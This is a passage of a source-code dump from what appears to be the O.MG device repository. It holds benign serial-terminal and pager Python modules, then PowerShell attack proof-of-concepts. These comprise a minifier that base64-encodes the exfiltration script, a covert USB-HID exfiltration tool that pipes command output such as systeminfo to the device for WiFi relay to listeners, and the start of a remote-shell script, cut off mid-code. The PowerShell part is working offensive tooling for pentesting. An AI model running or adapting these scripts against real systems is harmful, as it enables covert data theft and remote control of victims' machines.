'7':                          # 7 -> change to 8 bits\n            self.serial.bytesize = serial.SEVENBITS\n            self.dump_port_settings()\n        elif c in 'eE':                         # E -> change to even parity\n            self.serial.parity = serial.PARITY_EVEN\n            self.dump_port_settings()\n        elif c in 'oO':                         # O -> change to odd parity\n            self.serial.parity = serial.PARITY_ODD\n            self.dump_port_settings()\n        elif c in 'mM':                         # M -> change to mark parity\n            self.serial.parity = serial.PARITY_MARK\n            self.dump_port_settings()\n        elif c in 'sS':                         # S -> change to space parity\n            self.serial.parity = serial.PARITY_SPACE\n            self.dump_port_settings()\n        elif c in 'nN':                         # N -> change to no parity\n            self.serial.parity = serial.PARITY_NONE\n            self.dump_port_settings()\n        elif c == '1':                          # 1 -> change to 1 stop bits\n            self.serial.stopbits = serial.STOPBITS_ONE\n            self.dump_port_settings()\n        elif c == '2':                          # 2 -> change to 2 stop bits\n            self.serial.stopbits = serial.STOPBITS_TWO\n            self.dump_port_settings()\n        elif c == '3':                          # 3 -> change to 1.5 stop bits\n            self.serial.stopbits = serial.STOPBITS_ONE_POINT_FIVE\n            self.dump_port_settings()\n        elif c in 'xX':                         # X -> change software flow control\n            self.serial.xonxoff = (c == 'X')\n            self.dump_port_settings()\n        elif c in 'rR':                         # R -> change hardware flow control\n            self.serial.rtscts = (c == 'R')\n            self.dump_port_settings()\n        elif c in 'qQ':\n            self.stop()                         # Q -> exit app\n        else:\n            sys.stderr.write('--- unknown menu character {} --\\n'.format(key_description(c)))\n\n    def upload_file(self):\n        \"\"\"Ask user for filename and send its contents\"\"\"\n        sys.stderr.write('\\n--- File to upload: ')\n        sys.stderr.flush()\n        with self.console:\n            filename = sys.stdin.readline().rstrip('\\r\\n')\n            if filename:\n                try:\n                    with open(filename, 'rb') as f:\n                        sys.stderr.write('--- Sending file {} ---\\n'.format(filename))\n                        while True:\n                            block = f.read(1024)\n                            if not block:\n                                break\n                            self.serial.write(block)\n                            # Wait for output buffer to drain.\n                            self.serial.flush()\n                            sys.stderr.write('.')   # Progress indicator.\n                    sys.stderr.write('\\n--- File {} sent ---\\n'.format(filename))\n                except IOError as e:\n                    sys.stderr.write('--- ERROR opening file {}: {} ---\\n'.format(filename, e))\n\n    def change_filter(self):\n        \"\"\"change the i/o transformations\"\"\"\n        sys.stderr.write('\\n--- Available Filters:\\n')\n        sys.stderr.write('\\n'.join(\n            '---   {:<10} = {.__doc__}'.format(k, v)\n            for k, v in sorted(TRANSFORMATIONS.items())))\n        sys.stderr.write('\\n--- Enter new filter name(s) [{}]: '.format(' '.join(self.filters)))\n        with self.console:\n            new_filters = sys.stdin.readline().lower().split()\n        if new_filters:\n            for f in new_filters:\n                if f not in TRANSFORMATIONS:\n                    sys.stderr.write('--- unknown filter: {!r}\\n'.format(f))\n                    break\n            else:\n                self.filters = new_filters\n                self.update_transformations()\n        sys.stderr.write('--- filters: {}\\n'.format(' '.join(self.filters)))\n\n    def change_encoding(self):\n        \"\"\"change encoding on the serial port\"\"\"\n        sys.stderr.write('\\n--- Enter new encoding name [{}]: '.format(self.input_encoding))\n        with self.console:\n            new_encoding = sys.stdin.readline().strip()\n        if new_encoding:\n            try:\n                codecs.lookup(new_encoding)\n            except LookupError:\n                sys.stderr.write('--- invalid encoding name: {}\\n'.format(new_encoding))\n            else:\n                self.set_rx_encoding(new_encoding)\n                self.set_tx_encoding(new_encoding)\n        sys.stderr.write('--- serial input encoding: {}\\n'.format(self.input_encoding))\n        sys.stderr.write('--- serial output encoding: {}\\n'.format(self.output_encoding))\n\n    def change_baudrate(self):\n        \"\"\"change the baudrate\"\"\"\n        sys.stderr.write('\\n--- Baudrate: ')\n        sys.stderr.flush()\n        with self.console:\n            backup = self.serial.baudrate\n            try:\n                self.serial.baudrate = int(sys.stdin.readline().strip())\n            except ValueError as e:\n                sys.stderr.write('--- ERROR setting baudrate: {} ---\\n'.format(e))\n                self.serial.baudrate = backup\n            else:\n                self.dump_port_settings()\n\n    def change_port(self):\n        \"\"\"Have a conversation with the user to change the serial port\"\"\"\n        with self.console:\n            try:\n                port = ask_for_port()\n            except KeyboardInterrupt:\n                port = None\n        if port and port != self.serial.port:\n            # reader thread needs to be shut down\n            self._stop_reader()\n            # save settings\n            settings = self.serial.getSettingsDict()\n            try:\n                new_serial = serial.serial_for_url(port, do_not_open=True)\n                # restore settings and open\n                new_serial.applySettingsDict(settings)\n                new_serial.rts = self.serial.rts\n                new_serial.dtr = self.serial.dtr\n                new_serial.open()\n                new_serial.break_condition = self.serial.break_condition\n            except Exception as e:\n                sys.stderr.write('--- ERROR opening new port: {} ---\\n'.format(e))\n                new_serial.close()\n            else:\n                self.serial.close()\n                self.serial = new_serial\n                sys.stderr.write('--- Port changed to: {} ---\\n'.format(self.serial.port))\n            # and restart the reader thread\n            self._start_reader()\n\n    def suspend_port(self):\n        \"\"\"\\\n        open port temporarily, allow reconnect, exit and port change to get\n        out of the loop\n        \"\"\"\n        # reader thread needs to be shut down\n        self._stop_reader()\n        self.serial.close()\n        sys.stderr.write('\\n--- Port closed: {} ---\\n'.format(self.serial.port))\n        do_change_port = False\n        while not self.serial.is_open:\n            sys.stderr.write('--- Quit: {exit} | p: port change | any other key to reconnect ---\\n'.format(\n                exit=key_description(self.exit_character)))\n            k = self.console.getkey()\n            if k == self.exit_character:\n                self.stop()             # exit app\n                break\n            elif k in 'pP':\n                do_change_port = True\n                break\n            try:\n                self.serial.open()\n            except Exception as e:\n                sys.stderr.write('--- ERROR opening port: {} ---\\n'.format(e))\n        if do_change_port:\n            self.change_port()\n        else:\n            # and restart the reader thread\n            self._start_reader()\n            sys.stderr.write('--- Port opened: {} ---\\n'.format(self.serial.port))\n\n    def get_help_text(self):\n        \"\"\"return the help text\"\"\"\n        # help text, starts with blank line!\n        return \"\"\"\n--- pySerial ({version}) - miniterm - help\n---\n--- {exit:8} Exit program (alias {menu} Q)\n--- {menu:8} Menu escape key, followed by:\n--- Menu keys:\n---    {menu:7} Send the menu character itself to remote\n---    {exit:7} Send the exit character itself to remote\n---    {info:7} Show info\n---    {upload:7} Upload file (prompt will be shown)\n---    {repr:7} encoding\n---    {filter:7} edit filters\n--- Toggles:\n---    {rts:7} RTS   {dtr:7} DTR   {brk:7} BREAK\n---    {echo:7} echo  {eol:7} EOL\n---\n--- Port settings ({menu} followed by the following):\n---    p          change port\n---    7 8        set data bits\n---    N E O S M  change parity (None, Even, Odd, Space, Mark)\n---    1 2 3      set stop bits (1, 2, 1.5)\n---    b          change baud rate\n---    x X        disable/enable software flow control\n---    r R        disable/enable hardware flow control\n\"\"\".format(version=getattr(serial, 'VERSION', 'unknown version'),\n           exit=key_description(self.exit_character),\n           menu=key_description(self.menu_character),\n           rts=key_description('\\x12'),\n           dtr=key_description('\\x04'),\n           brk=key_description('\\x02'),\n           echo=key_description('\\x05'),\n           info=key_description('\\x09'),\n           upload=key_description('\\x15'),\n           repr=key_description('\\x01'),\n           filter=key_description('\\x06'),\n           eol=key_description('\\x0c'))\n\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\n# default args can be used to override when calling main() from an other script\n# e.g to create a miniterm-my-device.py\ndef main(default_port=None, default_baudrate=9600, default_rts=None, default_dtr=None, serial_instance=None):\n    \"\"\"Command line tool, entry point\"\"\"\n\n    import argparse\n\n    parser = argparse.ArgumentParser(\n        description='Miniterm - A simple terminal program for the serial port.')\n\n    parser.add_argument(\n        'port',\n        nargs='?',\n        help='serial port name (\"-\" to show port list)',\n        default=default_port)\n\n    parser.add_argument(\n        'baudrate',\n        nargs='?',\n        type=int,\n        help='set baud rate, default: %(default)s',\n        default=default_baudrate)\n\n    group = parser.add_argument_group('port settings')\n\n    group.add_argument(\n        '--parity',\n        choices=['N', 'E', 'O', 'S', 'M'],\n        type=lambda c: c.upper(),\n        help='set parity, one of {N E O S M}, default: N',\n        default='N')\n\n    group.add_argument(\n        '--rtscts',\n        action='store_true',\n        help='enable RTS/CTS flow control (default off)',\n        default=False)\n\n    group.add_argument(\n        '--xonxoff',\n        action='store_true',\n        help='enable software flow control (default off)',\n        default=False)\n\n    group.add_argument(\n        '--rts',\n        type=int,\n        help='set initial RTS line state (possible values: 0, 1)',\n        default=default_rts)\n\n    group.add_argument(\n        '--dtr',\n        type=int,\n        help='set initial DTR line state (possible values: 0, 1)',\n        default=default_dtr)\n\n    group.add_argument(\n        '--non-exclusive',\n        dest='exclusive',\n        action='store_false',\n        help='disable locking for native ports',\n        default=True)\n\n    group.add_argument(\n        '--ask',\n        action='store_true',\n        help='ask again for port when open fails',\n        default=False)\n\n    group = parser.add_argument_group('data handling')\n\n    group.add_argument(\n        '-e', '--echo',\n        action='store_true',\n        help='enable local echo (default off)',\n        default=False)\n\n    group.add_argument(\n        '--encoding',\n        dest='serial_port_encoding',\n        metavar='CODEC',\n        help='set the encoding for the serial port (e.g. hexlify, Latin1, UTF-8), default: %(default)s',\n        default='UTF-8')\n\n    group.add_argument(\n        '-f', '--filter',\n        action='append',\n        metavar='NAME',\n        help='add text transformation',\n        default=[])\n\n    group.add_argument(\n        '--eol',\n        choices=['CR', 'LF', 'CRLF'],\n        type=lambda c: c.upper(),\n        help='end of line mode',\n        default='CRLF')\n\n    group.add_argument(\n        '--raw',\n        action='store_true',\n        help='Do no apply any encodings/transformations',\n        default=False)\n\n    group = parser.add_argument_group('hotkeys')\n\n    group.add_argument(\n        '--exit-char',\n        type=int,\n        metavar='NUM',\n        help='Unicode of special character that is used to exit the application, default: %(default)s',\n        default=0x1d)  # GS/CTRL+]\n\n    group.add_argument(\n        '--menu-char',\n        type=int,\n        metavar='NUM',\n        help='Unicode code of special character that is used to control miniterm (menu), default: %(default)s',\n        default=0x14)  # Menu: CTRL+T\n\n    group = parser.add_argument_group('diagnostics')\n\n    group.add_argument(\n        '-q', '--quiet',\n        action='store_true',\n        help='suppress non-error messages',\n        default=False)\n\n    group.add_argument(\n        '--develop',\n        action='store_true',\n        help='show Python traceback on error',\n        default=False)\n\n    args = parser.parse_args()\n\n    if args.menu_char == args.exit_char:\n        parser.error('--exit-char can not be the same as --menu-char')\n\n    if args.filter:\n        if 'help' in args.filter:\n            sys.stderr.write('Available filters:\\n')\n            sys.stderr.write('\\n'.join(\n                '{:<10} = {.__doc__}'.format(k, v)\n                for k, v in sorted(TRANSFORMATIONS.items())))\n            sys.stderr.write('\\n')\n            sys.exit(1)\n        filters = args.filter\n    else:\n        filters = ['default']\n\n    while serial_instance is None:\n        # no port given on command line -> ask user now\n        if args.port is None or args.port == '-':\n            try:\n                args.port = ask_for_port()\n            except KeyboardInterrupt:\n                sys.stderr.write('\\n')\n                parser.error('user aborted and port is not given')\n            else:\n                if not args.port:\n                    parser.error('port is not given')\n        try:\n            serial_instance = serial.serial_for_url(\n                args.port,\n                args.baudrate,\n                parity=args.parity,\n                rtscts=args.rtscts,\n                xonxoff=args.xonxoff,\n                do_not_open=True)\n\n            if not hasattr(serial_instance, 'cancel_read'):\n                # enable timeout for alive flag polling if cancel_read is not available\n                serial_instance.timeout = 1\n\n            if args.dtr is not None:\n                if not args.quiet:\n                    sys.stderr.write('--- forcing DTR {}\\n'.format('active' if args.dtr else 'inactive'))\n                serial_instance.dtr = args.dtr\n            if args.rts is not None:\n                if not args.quiet:\n                    sys.stderr.write('--- forcing RTS {}\\n'.format('active' if args.rts else 'inactive'))\n                serial_instance.rts = args.rts\n\n            if isinstance(serial_instance, serial.Serial):\n                serial_instance.exclusive = args.exclusive\n\n            serial_instance.open()\n        except serial.SerialException as e:\n            sys.stderr.write('could not open port {!r}: {}\\n'.format(args.port, e))\n            if args.develop:\n                raise\n            if not args.ask:\n                sys.exit(1)\n            else:\n                args.port = '-'\n        else:\n            break\n\n    miniterm = Miniterm(\n        serial_instance,\n        echo=args.echo,\n        eol=args.eol.lower(),\n        filters=filters)\n    miniterm.exit_character = unichr(args.exit_char)\n    miniterm.menu_character = unichr(args.menu_char)\n    miniterm.raw = args.raw\n    miniterm.set_rx_encoding(args.serial_port_encoding)\n    miniterm.set_tx_encoding(args.serial_port_encoding)\n\n    if not args.quiet:\n        sys.stderr.write('--- Miniterm on {p.name}  {p.baudrate},{p.bytesize},{p.parity},{p.stopbits} ---\\n'.format(\n            p=miniterm.serial))\n        sys.stderr.write('--- Quit: {} | Menu: {} | Help: {} followed by {} ---\\n'.format(\n            key_description(miniterm.exit_character),\n            key_description(miniterm.menu_character),\n            key_description(miniterm.menu_character),\n            key_description('\\x08')))\n\n    miniterm.start()\n    try:\n        miniterm.join(True)\n    except KeyboardInterrupt:\n        pass\n    if not args.quiet:\n        sys.stderr.write('\\n--- exit ---\\n')\n    miniterm.join()\n    miniterm.close()\n\n# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -\nif __name__ == '__main__':\n    main()\n"
  },
  {
    "path": "scripts/pager.py",
    "content": "#!/usr/bin/env python\n\"\"\"\nPage output and find dimensions of console.\n\nThis module deals with paging on Linux terminals and Windows consoles in\na cross-platform way. The major difference for paging here is line ends.\nNot line end characters, but the console behavior when the last character\non a line is printed.  To get technical details, run this module without\nparameters::\n\n  python pager.py\n\nAuthor:  anatoly techtonik <techtonik@gmail.com>\nLicense: Public Domain (use MIT if the former doesn't work for you)\n\"\"\"\n\n__version__ = '3.3'\n\nimport os,sys\n\nWINDOWS = os.name == 'nt'\nPY3K = sys.version_info >= (3,)\n\n# Windows constants\n# http://msdn.microsoft.com/en-us/library/ms683231%28v=VS.85%29.aspx\n\nSTD_INPUT_HANDLE  = -10\nSTD_OUTPUT_HANDLE = -11\nSTD_ERROR_HANDLE  = -12\n\n\n# --- console/window operations ---\n\nif WINDOWS:\n    # get console handle\n    from ctypes import windll, Structure, byref\n    try:\n        from ctypes.wintypes import SHORT, WORD, DWORD\n    # workaround for missing types in Python 2.5\n    except ImportError:\n        from ctypes import (\n            c_short as SHORT, c_ushort as WORD, c_ulong as DWORD)\n    console_handle = windll.kernel32.GetStdHandle(STD_OUTPUT_HANDLE)\n\n    # CONSOLE_SCREEN_BUFFER_INFO Structure\n    class COORD(Structure):\n        _fields_ = [(\"X\", SHORT), (\"Y\", SHORT)]\n\n    class SMALL_RECT(Structure):\n        _fields_ = [(\"Left\", SHORT), (\"Top\", SHORT),\n                    (\"Right\", SHORT), (\"Bottom\", SHORT)]\n\n    class CONSOLE_SCREEN_BUFFER_INFO(Structure):\n        _fields_ = [(\"dwSize\", COORD),\n                    (\"dwCursorPosition\", COORD),\n                    (\"wAttributes\", WORD),\n                    (\"srWindow\", SMALL_RECT),\n                    (\"dwMaximumWindowSize\", DWORD)]\n\n\ndef _windows_get_window_size():\n    \"\"\"Return (width, height) of available window area on Windows.\n       (0, 0) if no console is allocated.\n    \"\"\"\n    sbi = CONSOLE_SCREEN_BUFFER_INFO()\n    ret = windll.kernel32.GetConsoleScreenBufferInfo(console_handle, byref(sbi))\n    if ret == 0:\n        return (0, 0)\n    return (sbi.srWindow.Right - sbi.srWindow.Left + 1,\n            sbi.srWindow.Bottom - sbi.srWindow.Top + 1)\n\ndef _posix_get_window_size():\n    \"\"\"Return (width, height) of console terminal on POSIX system.\n       (0, 0) on IOError, i.e. when no console is allocated.\n    \"\"\"\n    # see README.txt for reference information\n    # http://www.kernel.org/doc/man-pages/online/pages/man4/tty_ioctl.4.html\n\n    from fcntl import ioctl\n    from termios import TIOCGWINSZ\n    from array import array\n    \n    winsize = array(\"H\", [0] * 4)\n    try:\n        ioctl(sys.stdout.fileno(), TIOCGWINSZ, winsize)\n    except IOError:\n        # for example IOError: [Errno 25] Inappropriate ioctl for device\n        # when output is redirected\n        # [ ] TODO: check fd with os.isatty\n        pass\n    return (winsize[1], winsize[0])\n\ndef getwidth():\n    width = None\n    if WINDOWS:\n        return _windows_get_window_size()[0]\n    elif os.name == 'posix':\n        return _posix_get_window_size()[0]\n    else:\n        # 'mac', 'os2', 'ce', 'java', 'riscos' need implementations\n        pass\n\n    return width or 80\n\ndef getheight():\n    height = None\n    if WINDOWS:\n        return _windows_get_window_size()[1]\n    elif os.name == 'posix':\n        return _posix_get_window_size()[1]\n    else:\n        # 'mac', 'os2', 'ce', 'java', 'riscos' need implementations\n        pass\n\n    return height or 25\n\nif WINDOWS:\n    ENTER_ = '\\x0d'\n    CTRL_C_ = '\\x03'\nelse:\n    ENTER_ = '\\n'\n    # [ ] check CTRL_C_ on Linux\n    CTRL_C_ = None\nESC_ = '\\x1b'\n\n# other constants with getchars()\nif WINDOWS:\n    LEFT =  ['\\xe0', 'K']\n    UP =    ['\\xe0', 'H']\n    RIGHT = ['\\xe0', 'M']\n    DOWN =  ['\\xe0', 'P']\nelse:\n    LEFT =  ['\\x1b', '[', 'D']\n    UP =    ['\\x1b', '[', 'A']\n    RIGHT = ['\\x1b', '[', 'C']\n    DOWN =  ['\\x1b', '[', 'B']\nENTER = [ENTER_]\nESC  = [ESC_]\n\ndef dumpkey(key):\n    def hex3fy(key):\n        \"\"\"Helper to convert string into hex string (Python 3 compatible)\"\"\"\n        from binascii import hexlify\n        # Python 3 strings are no longer binary, encode them for hexlify()\n        if PY3K:\n           key = key.encode('utf-8')\n        keyhex = hexlify(key).upper()\n        if PY3K:\n           keyhex = keyhex.decode('utf-8')\n        return keyhex\n    if type(key) == str:\n        return hex3fy(key)\n    else:\n        return ' '.join( [hex3fy(s) for s in key] )\n\n\nif WINDOWS:\n    if PY3K:\n        from msvcrt import kbhit, getwch as __getchw\n    else:\n        from msvcrt import kbhit, getch as __getchw\n\ndef _getch_windows(_getall=False):\n    chars = [__getchw()]  # wait for the keypress\n    if _getall:           # read everything, return list\n        while kbhit():\n            chars.append(__getchw())\n        return chars\n    else:\n        return chars[0]\n\n\n# [ ] _getch_linux() or _getch_posix()? (test on FreeBSD and MacOS)\ndef _getch_unix(_getall=False):\n    import sys, termios\n\n    fd = sys.stdin.fileno()\n    # save old terminal settings\n    old_settings = termios.tcgetattr(fd)\n\n    chars = []\n    try:\n        newattr = list(old_settings)\n        newattr[3] &= ~termios.ICANON\n        newattr[3] &= ~termios.ECHO\n        newattr[6][termios.VMIN] = 1   # block until one char received\n        newattr[6][termios.VTIME] = 0\n        # TCSANOW below means apply settings immediately\n        termios.tcsetattr(fd, termios.TCSANOW, newattr)\n\n        # [ ] this fails when stdin is redirected, like\n        #       ls -la | pager.py\n        #   [ ] also check on Windows\n        ch = sys.stdin.read(1)\n        chars = [ch]\n\n        if _getall:\n            newattr = termios.tcgetattr(fd)\n            newattr[6][termios.VMIN] = 0      # CC structure\n            newattr[6][termios.VTIME] = 0\n            termios.tcsetattr(fd, termios.TCSANOW, newattr)\n\n            while True:\n                ch = sys.stdin.read(1)\n                if ch != '':\n                    chars.append(ch)\n                else:\n                    break\n    finally:\n        termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)\n\n    if _getall:\n        return chars\n    else:\n        return chars[0]\n\n\n# choose correct getch function at module import time\nif WINDOWS:\n    getch = _getch_windows\nelse:\n    getch = _getch_unix\n\ngetch.__doc__ = \\\n    \"\"\"\n    Wait for keypress, return first char generated as a result.\n\n    Arrows and special keys generate sequence of chars. Use `getchars`\n    function to receive all chars generated or present in buffer.\n    \"\"\"\n\n    # check that Ctrl-C and Ctrl-Break break this function\n    #\n    # Ctrl-C       [n] Windows  [y] Linux  [ ] OSX\n    # Ctrl-Break   [y] Windows  [n] Linux  [ ] OSX\n\n\n# [ ] check if getchars returns chars already present in buffer\n#     before the call to this function\ndef getchars():\n    return getch(_getall=True)\n    \n\ndef echo(msg):\n    #https://groups.google.com/forum/#!topic/python-ideas/8vLtBO4rzBU\n    sys.stdout.write(msg)\n    sys.stdout.flush()\n\ndef prompt(pagenum):\n    prompt = \"Page -%s-. Press any key to continue . . . \" % pagenum\n    echo(prompt)\n    if getch() in [ESC_, CTRL_C_, 'q', 'Q']:\n        return False\n    echo('\\r' + ' '*(len(prompt)-1) + '\\r')\n\ndef page(content, pagecallback=prompt):\n    width = getwidth()\n    height = getheight()\n    pagenum = 1\n\n    try:\n        try:\n            line = content.next().rstrip(\"\\r\\n\")\n        except AttributeError:\n            # Python 3 compatibility\n            line = content.__next__().rstrip(\"\\r\\n\")\n    except StopIteration:\n        pagecallback(pagenum)\n        return\n\n    while True:     # page cycle\n        linesleft = height-1 # leave the last line for the prompt callback\n        while linesleft:\n            linelist = [line[i:i+width] for i in range(0, len(line), width)]\n            if not linelist:\n                linelist = ['']\n            lines2print = min(len(linelist), linesleft)\n            for i in range(lines2print):\n                if WINDOWS and len(line) == width:\n                    # avoid extra blank line by skipping linefeed print\n                    echo(linelist[i])\n                else:\n                    print(linelist[i])\n            linesleft -= lines2print\n            linelist = linelist[lines2print:]\n\n            if linelist: # prepare symbols left on the line for the next iteration\n                line = ''.join(linelist)\n                continue\n            else:\n                try:\n                    try:\n                        line = content.next().rstrip(\"\\r\\n\")\n                    except AttributeError:\n                        # Python 3 compatibility\n                        line = content.__next__().rstrip(\"\\r\\n\")\n                except StopIteration:\n                    pagecallback(pagenum)\n                    return\n        if pagecallback(pagenum) == False:\n            return\n        pagenum += 1\n\n\n\n\n\n"
  },
  {
    "path": "tools/HIDX/powershell/minify.ps1",
    "content": "function Minify-Script {\n    param(\n        [Parameter(Mandatory=$true)]\n        [string]$InputFilePath,\n        [Parameter(Mandatory=$true)]\n        [string]$OutputFilePath,\n        [switch]$AsBase64\n    )\n\n    $content = Get-Content $InputFilePath -Raw\n\n    # Remove multi-line comments\n    $content = [regex]::Replace($content, '<#.*?#>', '', [System.Text.RegularExpressions.RegexOptions]::Singleline)\n\n    # Remove single-line comments\n    $content = [regex]::Replace($content, '#.*', '')\n\n    # Remove unnecessary whitespaces\n    $content = [regex]::Replace($content, '\\s+', ' ')\n\n    if ($AsBase64) {\n        $contentBytes = [System.Text.Encoding]::UTF8.GetBytes($content)\n        $contentBase64 = [System.Convert]::ToBase64String($contentBytes)\n        Set-Content -Path $OutputFilePath -Value $contentBase64\n    }\n    else {\n        Set-Content -Path $OutputFilePath -Value $content\n    }\n}\n\n# Example usage:\nMinify-Script -InputFilePath \"HIDXExfil.ps1\" -OutputFilePath \"HIDXExfil-minified.ps1\" -AsBase64\n\n"
  },
  {
    "path": "tools/HIDX/powershell/win-hidexfil.ps1",
    "content": "<#\nHIDXExfil.ps1\nAuthor: Ø1 (@01p8or13)\nAcknowledgements: spiceywasabi, rogandawes\nRequired Dependencies: Activated HIDX on OMG Elite device\n#>\n\nfunction HIDXExfil {\n<#\n.DESCRIPTION\nThis is a POC.\nA “low and slow” method of covert exfiltration meant to provide alternate pentesting pathways beyond using the target host’s network interfaces or mass storage.\nThis POC will allow data exfiltration back to the O.MG’s flash storage or act as a proxy between the target host and another device, \nvia the O.MG Device's built-in WiFi interface, which can allow you to receive data via listeners like nc, netcat, or similar tools.\n\n.PARAMETER Message\nMessage which gets exfiltrated.\n\n.PARAMETER VendorID\nDefining vendor ID of the device. (Default: D3C0)\n\n.PARAMETER ProductID\nDefining product ID of the device. (Default: D34D)\n\n.EXAMPLE\nDefining a message: \nHIDXExfil -Message \"hello world\"\n\n.EXAMPLE\nHIDX usage with every parameter: \nHIDXExfil -VendorID D3C0 -ProductID D34D -Message \"test\"\n\n.EXAMPLE\nPiping output into HIDX: \nwhoami | HIDXExfil\n\n.EXAMPLE\nExfiltrating systeminfo with proper formatting:\nsysteminfo | Out-String | HIDXExfil\n\n.LINK\nhttps://github.com/0i41E\nhttps://github.com/spiceywasabi\nhttps://github.com/rogandawes\n\n#Credits to Rogan for the idea of filehandle and device identification\n#AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386\n\nX5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n#>\n\n    [cmdletbinding()]\n    param(\n        [Parameter(\n            Mandatory = $true,\n            ValueFromPipeline = $true)]\n            $Message,\n\n        [Parameter(Position = 1)]\n            [ValidateNotNullOrEmpty()]\n            [String]\n            $VendorID = \"D3C0\", #Default value\n\n        [Parameter(Position = 2)]\n            [ValidateNotNullOrEmpty()]\n            [String]\n            $ProductID = \"D34D\" # Default value\n    )\n\n    $omg = $VendorID + \"&PID_\" + $ProductID\n    function Get-OMGDevice(){\n        #Identify OMG device\n        $devs = gwmi Win32_USBControllerDevice\n        $devicestring=$null\n        foreach ($dev in $devs) {\n            $wmidev = [wmi]$dev.Dependent\n            if ($wmidev.GetPropertyValue('DeviceID') -match ($omg) -and ($null -eq $wmidev.GetPropertyValue('Service'))) {\n                $devicestring = ([char]92+[char]92+'?'+[char]92 + $wmidev.GetPropertyValue('DeviceID').ToString().Replace([char]92,[char]35) + [char]35+'{4d1e55b2-f16f-11cf-88cb-001111000030}')\n            }\n        }\n\n        return $devicestring\n    }\n\n    function Send-Message {\n        param(\n            $fileHandle,\n            $payload\n        )\n\n        $payloadLength = $payload.Length\n        $chunkSize = 8  # Kept at 8 for best experience\n        $chunkNr = [Math]::Ceiling($payloadLength / $chunkSize)\n\n for ($i = 0; $i -lt $chunkNr; $i++) {\n        $bytes = New-Object Byte[] (65)\n        $start = $i * $chunksize\n        $end = [Math]::Min(($i + 1) * $chunksize, $payloadLength)\n        $chunkLen = $end - $start\n        [System.Buffer]::BlockCopy($payload, $start, $bytes, 1, $chunkLen)\n        $filehandle.Write($bytes, 0, 65)\n        }\n    }\n                #Creating filehandle - Method by rogandawes\n                Add-Type -TypeDefinition @\"\nusing System;\nusing System.IO;\nusing Microsoft.Win32.SafeHandles;\nusing System.Runtime.InteropServices;\nnamespace omg {\n    public class hidx {\n        [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        public static extern SafeFileHandle CreateFile(String fn, UInt32 da, Int32 sm, IntPtr sa, Int32 cd, uint fa, IntPtr tf);\n\n        public static FileStream open(string fn) {\n            return new FileStream(CreateFile(fn, 0XC0000000U, 3, IntPtr.Zero, 3, 0x40000000, IntPtr.Zero), FileAccess.ReadWrite, 3, true);\n        }\n    }\n}\n\"@\n    try {\n        $deviceString = Get-OMGDevice\n\n        if ($deviceString -eq $null) {\n            Write-Host -ForegroundColor Red \"[!]Error: Could not find OMG device - Check VID/PID\"\n            return\n        }\n\n        $fileHandle = [omg.hidx]::open($deviceString)\n\n        if ($fileHandle -eq $null) {\n            Write-Host -ForegroundColor Red \"[!]Error: Filehandle is empty\"\n            return\n        }\n\n        $payload = [System.Text.Encoding]::ASCII.GetBytes($Message + \"`n\")\n        Send-Message -fileHandle $fileHandle -payload $payload\n\n    } catch {\n        Write-Host -ForegroundColor Red \"[!]Error: $($PSItem.Exception.Message)\"\n    } finally {\n        if ($fileHandle -ne $null) {\n            $fileHandle.Close()\n        }\n    }\n}\n"
  },
  {
    "path": "tools/HIDX/powershell/win-hidshell.ps1",
    "content": "<#\nwin-hidshell.ps1\nAuthors:  Ø1(@01p8or13), Wasabi (@spiceywasabi)\nAcknowledgements: rogandawes (@RoganDawes)\nRequired Dependencies: Activated HIDX on OMG Elite device\nRecommended Listener: stealthlink-client-universal.py\n#>\n\nfunction HIDXShell {\n<#\n.DESCRIPTION\nThis powershell script acts as a PoC for a bidirectional, shell-like connection between a host and an O.MG Elite device, which acts as a bridge between Listener and USB-Host.\n\n.PARAMETER VendorID\nDefining vendor ID of the device. (Default: D3C0)\n\n.PARAMETER ProductID\nDefining product ID of the device. (Default: D34D)\n\n.PARAMETER Verbose\nDisplay more information about received and executed commands\n\n.EXAMPLE\nHIDXShell usage with defined device: \nHIDXShell -VendorID D3C0 -ProductID D34D\n\n.LINK\nhttps://github.com/0i41E\nhttps://github.com/spiceywasabi\nhttps://github.com/rogandawes\nhttps://github.com/O-MG/O.MG-Firmware/blob/stable/tools/HIDX/python/stealthlink-client-universal.py\nhttps://github.com/O-MG/O.MG-Firmware/wiki/HIDX-StealthLink---Windows-PowerShell---Shell\n\n#Credits to Rogan for idea of filehandle and device identification\n\n#AMSI Test Sample: 7e72c3ce-861b-4339-8740-0ac1484c1386\nX5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n#>\n\n    [cmdletbinding()]\n    param(\n    [Parameter(Position = 1)]\n            [ValidateNotNullOrEmpty()]\n            [String]\n            $VendorID = \"D3C0\", #Default value\n\n        [Parameter(Position = 2)]\n            [ValidateNotNullOrEmpty()]\n            [String]\n            $ProductID = \"D34D\" # Default value\n            )\n\n    #Defining OMG device\n    $OMG = $VendorID +\"&PID_\" + $ProductID\n\n    $tries = 0 \n    $ErrorActionPreference=\"Stop\"\n\n    #Creating filehandle - Method by rogandawes\n    function CreateBinding(){\n        try { \n                Add-Type -TypeDefinition @\"\nusing System;\nusing System.IO;\nusing Microsoft.Win32.SafeHandles;\nusing System.Runtime.InteropServices;\nnamespace omg {\n    public class hidx {\n        [DllImport(\"kernel32.dll\", CharSet = CharSet.Auto, SetLastError = true)]\n        public static extern SafeFileHandle CreateFile(String fn, UInt32 da, Int32 sm, IntPtr sa, Int32 cd, uint fa, IntPtr tf);\n\n        public static FileStream open(string fn) {\n            return new FileStream(CreateFile(fn, 0XC0000000U, 3, IntPtr.Zero, 3, 0x40000000, IntPtr.Zero), FileAccess.ReadWrite, 3, true);\n        }\n    }\n}\n\"@\n                Write-Host -ForegroundColor Yellow \"[?]Adding Binding...\"\n                } \n                catch {\n                    Write-Host -ForegroundColor red \"[!]Error:Cannot load Binding...\"\n                }\n        }\n\n    #Identify OMG device\n    function Get-OMGDevice(){\n        $devs = gwmi Win32_USBControllerDevice\n        write-host -ForegroundColor Yellow \"[?]Searching for O.MG Device...\"\n        $devicestring=$null\n        foreach ($dev in $devs) {\n            $wmidev = [wmi]$dev.Dependent\n            if 